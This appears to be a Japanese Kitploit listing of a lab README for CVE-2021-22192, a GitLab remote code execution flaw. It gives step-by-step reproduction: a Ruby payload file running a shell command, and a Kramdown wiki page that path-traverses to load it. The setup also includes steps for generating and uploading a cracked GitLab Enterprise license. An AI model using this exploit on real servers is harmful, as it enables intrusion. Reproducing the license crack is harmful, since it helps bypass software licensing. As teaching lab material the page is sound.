Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-22192 — CVE-2021-22192 演習環境: 未認可ユーザー RCE 脆弱性 | Kitploit
ツール/GitHubGitHub/exp-docs/cve-2021-22192
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubexp-docs/cve-2021-22192

CVE-2021-22192

CVE-2021-22192 演習環境: 未認可ユーザー RCE 脆弱性

リポジトリを見る
3843年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-22192

CVE-2021-22192 ラボ: 権限のないユーザーによる RCE 脆弱性


0x10 ラボ環境

0x20 ディレクトリ構成

root@kitploit:~
CVE-2021-22192
├── README.md ............... [この README の説明]
├── imgs .................... [README の説明を補助する画像]
├── gitlab .................. [Gitlab コンテナのマウントディレクトリ]
│   ├── Dockerfile .......... [Gitlab の Docker ビルドファイル]
│   ├── config .............. [Gitlab 設定のマウントディレクトリ]
│   ├── data ................ [Gitlab データのマウントディレクトリ]
│   ├── logs ................ [Gitlab ログのマウントディレクトリ]
│   ├── keys ................ [Gitlab クラック済み License 格納ディレクトリ]
│   └── nginx ............... [Gitlab 内蔵 nginx 設定ディレクトリ(バックアップ設定のため変更禁止)]
├── runner .................. [Gitlab コンテナのマウントディレクトリ]
├── license ................. [クラック済み License を生成するコンテナのビルドディレクトリ]
│   ├── Dockerfile .......... [License の Docker ビルドファイル]
│   └── license.rb .......... [クラック済み License を生成する Ruby スクリプト]
├── test .................... [Kramdown デバッグ用ディレクトリ]
├── docker-compose.yml ...... [Docker のビルド設定]
├── keygen.ps1 .............. [Windows: クラック済み License をワンクリック生成]
├── keygen.sh ............... [Linux:   クラック済み License をワンクリック生成]
├── run.ps1 ................. [Windows: Gitlab ラボをワンクリック起動]
├── run.sh .................. [Linux:   Gitlab ラボをワンクリック起動]
├── register.ps1 ............ [Windows: Runner をワンクリック登録]
├── register.sh ............. [Linux:   Runner をワンクリック登録]
├── stop.ps1 ................ [Windows: Gitlab ラボをワンクリック停止]
└── stop.sh ................. [Linux:   Gitlab ラボをワンクリック停止]

0x30 ラボ構築

0x31 ビルド

  • ホストに docker と docker-compose がインストールされていること
  • 本リポジトリをダウンロード: git clone https://github.com/lyy289065406/CVE-2021-22192
  • クラック用鍵ペアを生成: ./keygen.sh または ./keygen.ps1
  • Gitlab をビルドして起動(80 ポートが空いていることを確認): ./run.sh または ./run.ps1
  • 約 5 分後にブラウザから Gitlab にログインできます: http://127.0.0.1 (初回ログイン時は管理者アカウント root のパスワードを再設定する必要があります)

0x32 クラック

先ほどクラック用鍵ペアを生成した時点で、公開鍵は Gitlab コンテナ側に書き込まれています。残りは、秘密鍵をフロントエンドから Gitlab にアップロードしてクラックを完了するだけです:

  • 鍵ペアは ./gitlab/keys/ ディレクトリに生成されます。その中の .gitlab-license の内容(秘密鍵)をコピーしてください
  • root ユーザーで http://127.0.0.1/admin/license/new ページを開きます
  • Enter license key を選択して秘密鍵を貼り付け、Upload license ボタンをクリックするとクラック完了です

0x33 Runner の設定

  • root ユーザーで http://127.0.0.1/admin/runners ページを開きます
  • registration token を見つけてコピーします
  • Runner を登録: ./register.sh $TOKEN または ./register.ps1 $TOKEN

これで、すべてのリポジトリがこの Runner を使用して CI スクリプト(Pipeline Jobs)を実行できるようになります

0x34 Gitlab Pages へのアクセス

Gitlab ユーザー名が ${username}、リポジトリ名が ${repository_name} の場合、リポジトリが jekyll で SSG のビルドに成功していれば、以下の URL にアクセスするだけです:

http://127.0.0.1:8000/${username}/${repository_name}/public/

0x40 ラボの検証

具体的な手順は hackerone を参照してください。

  1. 任意のユーザーで上部の + -> New snippet をクリックします
  2. Title は任意で構いません。Description (optional) の入力欄をクリックし、Attach a file をクリックして、payload.rb という名前のファイルをアップロードします。内容は次のとおりです:
root@kitploit:~
puts "hello from ruby"
`echo exp was here > /tmp/exp`

このとき、Description (optional) にファイルのリンクが表示されます。例: [payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/HEAD/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb)。同時に、ファイルは docker_gitlab コンテナの /var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb にアップロードされています。(Create snippet はクリックしてもクリックしなくても構いません。このファイルパスの Hash を覚えておくだけで OK です)

注意: いずれかのリポジトリの左サイドバーにある Snippet -> New snippet から作成しないでください。そうしないと、表示されるファイルパスが [payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/HEAD/uploads/b5e4fed771f26ef75700ebf763f489ab/payload.rb) になり、実際に docker_gitlab コンテナへアップロードされるパスも /var/opt/gitlab/gitlab-rails/uploads/@hash/随机字符串/payload.rb のようになります。途中にランダムな文字列が入るため、悪用は困難です。

  1. 上部の + New Project をクリックし、名前は任意(例: poc。作成せず既存のリポジトリを使っても可)にします
  2. 左側の Wiki をクリックし、Create your first page をクリックします
  3. Title と Content は任意で構いません。Create page をクリックします
  4. このとき Gitlab は現在の poc リポジトリの Wiki リポジトリとして poc.wiki を生成します(右上の Clone repository をクリックすると、clone コマンド git clone http://127.0.0.1/root/poc.wiki.git を確認できます)
  5. ローカル端末で git clone http://127.0.0.1/root/poc.wiki.git && cd poc.wiki を実行し、Wiki リポジトリをローカルにダウンロードします
  6. Wiki リポジトリのルートディレクトリに page1.rmd という名前のファイルを追加します。内容は次のとおりです(ファイルパス内の Hash は、先ほど取得した Hash に置き換えてください):
root@kitploit:~
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb\}" /}
~~~ ruby
def what?
42
end
~~~
  1. 次のコマンドを実行して、このファイルを Gitlab にコミットします: git add -A . && git commit -m "page1.rmd" && git push
  2. 先ほどの Gitlab Wiki ページに戻って更新すると、右側のインデックスバーにローカルで作成した page1 ページが表示されるので、それをクリックします
  3. ページの表示を待った後、docker_gitlab コンテナにログインすると、ファイル /tmp/exp が作成されていることを確認できます

page1.rmd ページをクリックすると、実際には gitlab/logs/gitlab-rails/exceptions_json.log にエラー情報が記録されますが、コマンドが実行済みであることには影響しません:

root@kitploit:~
{
    "severity": "ERROR",
    "time": "2021-04-26T10:36:07.978Z",
    "correlation_id": "A24bByUP9L5",
    "tags.correlation_id": "A24bByUP9L5",
    "tags.locale": "en",
    "user.id": 1,
    "user.email": "[email protected]",
    "user.username": "root",
    "extra.project_id": 1,
    "extra.file_name": "page1.rmd",
    "exception.class": "NameError",
    "exception.message": "wrong constant name ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb",
    "exception.backtrace": [
        "lib/gitlab/other_markup.rb:11:in `render'",
        "app/helpers/markup_helper.rb:274:in `other_markup_unsafe'",
        "app/helpers/markup_helper.rb:153:in `markup_unsafe'",
        "app/helpers/markup_helper.rb:138:in `render_wiki_content'",
        "app/views/shared/wikis/show.html.haml:25",
        "app/controllers/application_controller.rb:134:in `render'",
        "app/controllers/concerns/wiki_actions.rb:68:in `show'",
        "ee/lib/gitlab/ip_address_state.rb:10:in `with'",
        "ee/app/controllers/ee/application_controller.rb:44:in `set_current_ip_address'",
        "app/controllers/application_controller.rb:491:in `set_current_admin'",
        "lib/gitlab/session.rb:11:in `with_session'",
        "app/controllers/application_controller.rb:482:in `set_session_storage'",
        "app/controllers/application_controller.rb:476:in `set_locale'",
        "lib/gitlab/error_tracking.rb:50:in `with_context'",
        "app/controllers/application_controller.rb:541:in `sentry_context'",
        "app/controllers/application_controller.rb:469:in `block in set_current_context'",
        "lib/gitlab/application_context.rb:52:in `block in use'",
        "lib/gitlab/application_context.rb:52:in `use'",
        "lib/gitlab/application_context.rb:20:in `with_context'",
        "app/controllers/application_controller.rb:462:in `set_current_context'",
        "ee/lib/gitlab/jira/middleware.rb:19:in `call'"
    ]
}
ツールをダウンロード